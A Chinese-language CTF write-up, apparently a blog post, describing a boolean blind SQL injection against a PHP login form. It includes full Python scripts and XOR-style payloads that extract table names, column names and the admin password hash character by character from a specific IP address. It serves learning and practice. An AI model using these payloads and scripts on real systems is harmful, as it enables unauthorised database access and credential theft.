webbug php盲注,CTF-WEB 一个登录框SQL盲注

标签下的内容

b9c33e9a1f1ab3cec510c12c4b58ca46.png

没办法   又去学习一下“美丽的汤” Beautifulsoup 解析网页

首先放上一段测试代码:

# -*- coding:utf-8 -*-

from bs4 import BeautifulSoup

import requests

session = requests.Session()

paramsPost = {"password":"1","username":"admin"}

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://152.136.63.75:8002/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"PHPSESSID":"f1jb3rhc5ebhv1gf7q943bb413"}

res = session.post("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)

res.encoding = 'utf-8'

print("Status code: %i" % res.status_code)

#print("Response body: %s" % response.content)

soup = BeautifulSoup(res.text,'html.parser')

result = soup.find_all(text = '密码错误')

print(result)

print(type(result))

Output:

2e79c60a0e8cab40d77779cd98c5795b.png

这里可以使用Burp suite 一个插件  Reissue Request Scripter   快速生成reuqests头部 加快写脚本时间

3893e5b703e5bd2cd9ea169bc27b60e4.png

之后就是构造语句的环节了,可以在本地上用SQL查看器中去检查自己的命令是否正确,因为括号真的很多,需要不断去尝试

这里也总结了一些教训,可以先用一个记事本,把payload一个一个记下来,把查询的语句和判断语句分开:

#最后拼接的主体部分

admin'^1^(ascii()={})

#substr来确认数据

substr(( ),{},1)

#查询语句

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

#最后每更换一次查询语句再将全部组合起来(这个查列名的语句错到我怀疑人生)

admin'^1^if((select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),1,0)#

在这里要主要爆长度的判断:(这里也是一个易错点)

#一定要将select (length() = '')

select * from users where id =1^if((select(length(group_concat(table_name))

= ' ')from(information_schema.tables)where(table_schema)=(database())),1,0);

#错误语句

select * from users where id =1^if((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema)=(database()) = ' '),1,0);

#无论数字如何最后查出来一定是NULL

57c4c74c3170fe14d066e40d55577194.png

判断的位置不一样,结果也不一样,会影响最后结果

e4a8868f15f6f441f4f06d645a891fe9.png

贴出脚本:

import requests

import string

str = string.ascii_lowercase+string.ascii_uppercase+string.digits+'-{}+='

from bs4 import BeautifulSoup

session = requests.Session()

paramsPost = {"password":1,"username":" "}

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://152.136.63.75:8002/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}

cookies = {"PHPSESSID":"f1jb3rhc5ebhv1gf7q943bb413"}

def name():

flag = " "

for i in range(length()):

for str1 in str:

#paramsPost["username"] = "admin'^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),{},1))={})#".format (i+1, ord(str1))

paramsPost["username"] = "admin'^1^(ascii(substr((select(password)from(admin)where(username)='admin'),{},1))={})#".format(i+1, ord(str1))

print(str1)

res = session.post ("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)

res.encoding = 'utf-8'

soup = BeautifulSoup (res.text, 'html.parser')

result = soup.find_all(text='密码错误')

#print(result)

if len(result) != 0:

flag +=str1

break

print(flag)

if(flag[-1] == '}'):

break

print(flag)

def length():

len1 = 0

for i in range(50):

#paramsPost['username'] = "admin'^1^if((select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_schema)=(database())and(table_name)='admin'),1,0)#" % i

paramsPost['username']="admin'^1^(select(length(password)=%d)from(admin)where(username)='admin')#" % i

res = session.post ("http://152.136.63.75:8002/", data=paramsPost, headers=headers, cookies=cookies)

res.encoding = 'utf-8'

soup = BeautifulSoup (res.text, 'html.parser')

result = soup.find_all(text='密码错误')

print(result)

if len(result) != 0:

len1 = i

break

print(len1)

return len1

name()

一步步报数据,爆出admin的密码是一个MD5值,3a626cd3e8d8b1375624b3fea1da02cd.png

最后发现这道题和Bugku的login3有基本一样,但是从头到尾自己做一遍,发现构造语句还是有很多地方不足,SQL盲注这里还有很多练习的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值